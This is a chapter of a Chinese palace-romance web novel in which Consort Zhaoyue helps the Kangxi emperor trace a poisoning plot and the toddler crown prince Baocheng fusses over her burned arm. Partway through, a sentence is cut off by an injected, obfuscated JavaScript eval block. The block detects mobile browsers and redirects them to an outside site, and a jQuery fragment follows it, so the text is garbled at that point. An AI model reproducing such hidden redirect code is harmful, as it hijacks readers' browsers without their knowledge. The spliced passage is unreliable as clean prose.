霜降去报信时康熙还未就寝,殿内只留了几盏必要的宫灯,昏暗的光将他的身影无限拉长,投在冰冷的地砖上,显出几分孤寂。
身为帝王,他能得到的线索自然比昭玥多出不少,永寿宫的暗探早先就埋下,这会子与前去调查贵妃的人一同回禀的很快。
康熙做足心理准备才听了禀报,可所有的结果都在证明着,贵妃在这件事上好似真的全然无辜,没有做任何手脚。
而内务府那个小刘公公也如昭玥所设想的一样被灭口,甚至在大宴前就已失足溺毙,没有留下一字半句。
太监不似宫女都是有名有姓出身八旗,多的是贫苦人家的出生,家中空无一人的也不在少数,刘公公便是后者。
所有的线索到这里又全断了,和上次比,此局更加精妙,手段也愈发狠辣。
迷雾笼罩在这位运筹帷幄的帝王身上,四周被雾气封锁,抬眼望不见远处,让他有种深深的无力感。
梁九功听完霜降递来的消息,面上神情颇为复杂。自明贵妃娘娘进宫以来,他的认知就在被不停刷新,这般聪慧的女子当真是不多见。
没看万岁爷还在头疼呢吗,明妃娘娘反倒是已经推出了真相。
惊讶归惊讶,他得知消息后不敢耽搁赶忙报给康熙,末了忍不住感叹:“万岁爷,明妃娘娘当真是七窍玲珑心,又心系您与太子,身在病榻还不忘留意这些蛛丝马迹。冰片这样的东西,再给奴才多少时间也是想不到的。”
康熙面上的阴翳总算散了些:“既有了方向,便顺着这条线给朕死死咬住,你即刻着人去审,把人看牢了,没吐出实情前,朕要他好好活着。”
他凝眉思索片刻,又开口:“再去查查他与溺毙的刘公公之间有无关联。记住,一切都暗中进行,莫要打草惊蛇。”
“嗻,奴才明白。”梁九功躬身领命离去。
灯下康熙紧蹙了一晚的眉宇终于松开,他抬手按住心口的位置,一股暖流涌过,驱散了沉积已久的寒意与疲惫。
他的表妹不仅心思纯善,还机敏过人。上天将她送到他身边,果真是待他不薄。
*
有人一夜辗转反侧几乎未眠,有人一觉睡到太阳高照还想着赖床。
昭玥向来不是会为难自己的性子,昨夜把梳理清晰的线索都告知梁九功后,自觉完成了一件大事,酣然入梦,昨日的惊险根本不影响她的睡眠质量。
加之这一个多月处理的事务繁杂,着实劳心费力,要知道深宫里可没什么双休的规矩,她许久没有好好休息过了,自然是要奢侈的赖床一把。
日上三杆的时候,她仍慵懒的窝在床上,。
可她沉得住气,乾清宫的小太子却待不住了,吵着嚷着要娘娘。
如今的小太子士别三日当刮目相看,根本不是一个半月前光站起来就要耗尽全身力气的那个他,现在随意扶着什么就能跑得欢快。
奶嬷嬷自然不敢拘着,走走抱抱的竟真给他走到了景仁宫。
“娘娘,娘娘!”由远及近的声音十分雀跃。
昭玥在半梦半醒间听到熟悉的小奶音还以为幻听,翻了个身就要继续享受,结果那声音非但未停,还欢快的一声高过一声。
她带着初醒的微哑,试探着问了一句:“是保成吗?”
“啊。”那清脆的声音回应着,满是活力朝气。
紧接着白露掩不住笑意的声音隔着帘子传来:“娘娘,太子殿下来看您了。”
昭玥原本下意识要起身,可转念一想自己身上还带着伤,太子不过一个奶娃娃,守着那些虚礼做什么,便又心安理得的靠了回去,将被子拢好。
“让奶嬷嬷把小保成抱进来吧,本宫身子不便,就不起身了。”她直接吩咐。
几乎是同时,一个小小身影迫不及待地冲了进来,他被奶嬷嬷护着,蹬着小短腿一颠一颠的往床边跑,脸颊上的奶膘跟着轻颤,乌溜溜大眼睛捕捉着昭玥的身影。
昭玥心瞬间化开,弯起眉眼:“小保成怎么来找明娘娘了呀,昨天被吓到没有,怎么不多休息一会?”
这次跟来的凌嬷嬷是个会来事的,隔了两息笑眯眯开口:“回贵妃娘娘,太子殿下这是想娘娘了,用完早膳就闹着要来,奴婢们怎么劝也不听。”
昭玥瞪大双眼:“自己走来的?保成这才学会走路没两天吧,就能走这么远了?”景仁宫离乾清宫虽不算远,但对一个刚刚一周岁的小娃崽来说,是几乎不可能跨越的距离。
“走一段,抱一段,歇几歇。”凌嬷嬷连忙补充:“殿下心里念着娘娘,便不觉得累了。”她嘴甜的说着讨巧的话。
昭玥目光转到站在床边的保成身上,声音甜腻,眼神柔和:“我们保成这么喜欢明娘娘呀。”
“啊!”保成喜的拍着手赞同,咧开嘴露出没长出几颗的乳牙。
看他这小模样,昭玥的吸娃瘾又上来了,她伸出手准备将保成抱上床好好亲香一番。
可刚抬起,手臂上的灼伤就被牵动的隐隐作痛,她“嘶”一声,动作僵住,这才对自己是个伤员有了深刻认知,只得无奈收回手,老实靠回去。
她的痛呼和僵硬的姿态被矮矮的人儿捕捉到,他这才发现自己明娘娘的手臂被包扎的严实。
药味勾起回忆,昨日的记忆一下涌入保成脑海,昭玥的哭声,周围人的惊呼都仿若再现。
他情绪来的极快,方才还阳光灿烂的小脸瞬间阴云密布,马上就红了眼眶,泪珠顺着脸颊滚落。
“娘娘,痛!”他肉手轻轻摸着手臂上完好的地方,眼里藏不住的心疼。
接着鼓起腮帮,冲着伤臂的方向,学着之前自己走路跌倒后昭玥给他呼呼的模样,认真吹气。
明娘娘给他呼呼他就不痛了,这次轮到他给明娘娘呼呼了。
小孩子的心思最是纯净,喜欢便是全心全意的喜欢,心疼便是毫不掩饰的心疼。
他小脸一皱,仿佛这伤口是长在他自己身上一样,气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987368|192626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得直拍床:“坏坏,坏坏。”
昭玥心中又甜又酸,甜在小太子对她一心一意的依赖,酸在他这般年幼就已接连经历风波,今后漫长的储君之路还不知道要有多艰难。
“没事的,这点小伤,明娘娘过些日子就能好。你皇阿玛已经把坏人抓起来了,不会有事了。”没人能拒绝人类可爱幼崽,她伸出完好的左手摸摸保成毛茸茸的小脑袋。
保成听得一知半解,却眷恋的用小脸蛋蹭了蹭昭玥的手,带着幼鸟对大鸟的依恋。
这一刻的景仁宫连空气都是甜暖的,一大一小两个相互慰藉,构成一幅最温馨的画卷。
接下来的几日,保成算是过足了照顾明娘娘的瘾,一会学着大人模样拍拍昭玥手臂安慰,一会踮脚帮忙递茶,一会又凑到昭玥耳边陪她说话,把自己累得团团转,忙得不亦乐乎。
就算是康熙来的时候他也不歇着,依旧做着勤劳小蜜蜂。
那副全心全意绕着昭玥转的小模样,连康熙看得都有些眼热:“保成,若是阿玛病了,你会不会也这么照顾阿玛。”
听到康熙这般问话,昭玥差点憋不住笑:“表哥,保成还小嘛,他哪里听得懂这些。”
康熙挑眉,俊美的面庞上写满不信:“保成可聪明着呢,朕说的话他一定听得懂,是不是,保成?”
保成眼睛抬都未抬,依旧专注靠在昭玥身边,活脱脱一个守护神。
康熙脸一黑,常年习武带着茧子的大手伸过去,捏了捏保成嫩生生的小脸:“别跟朕装听不见。”
这下他确实是有反应了,小脸往后一躲,逃出自家阿玛的魔掌,眼中怒意喷薄:“啊啊!坏!”
“哈哈哈...”这回昭玥是真忍不住了,她长这么大极少见表哥吃瘪,没想到在保成这里直接碰了个钉子。
康熙被儿子这毫不给面子的反应噎住,瞧着那张与自己有七分相似,此刻却气鼓鼓瞪着自己的小脸,一时间哭笑不得。
他假装伤心,抬手捂住眼睛:“小没良心的,现在眼里只有你明娘娘了,阿玛都不要了。”
保成一见自己阿玛真的伤心了,清澈的眼睛里有些茫然无措,对着昭玥道:“玛玛,哭哭。”
昭玥脸上的笑容就没停过:“表哥也真是的,跟个孩子还较真。”
康熙从指缝里偷瞄了眼,见儿子有些不安的扭着身子,眼巴巴望着自己。心底暗笑,面上却装得更像了,甚至还刻意抽了抽鼻子。
保成这下更着急了,旁边两个大人都等着看戏,没一个靠谱的。他“啊”了两声,小手急得不知道往哪放。
犹豫了片刻后终于肯从自己香香软软的明娘娘身边离开,慢慢挪到康熙身边,试探的伸出小手拽住他的下摆。
见康熙没有反应,他从床上起身抱住阿玛:“不,哭哭,玛玛。”含糊的小奶音费力的挤出几个字,看得出已经很努力在安慰人了。
“算你还有点良心。”康熙哼了一声,眼里是藏不住的笑意。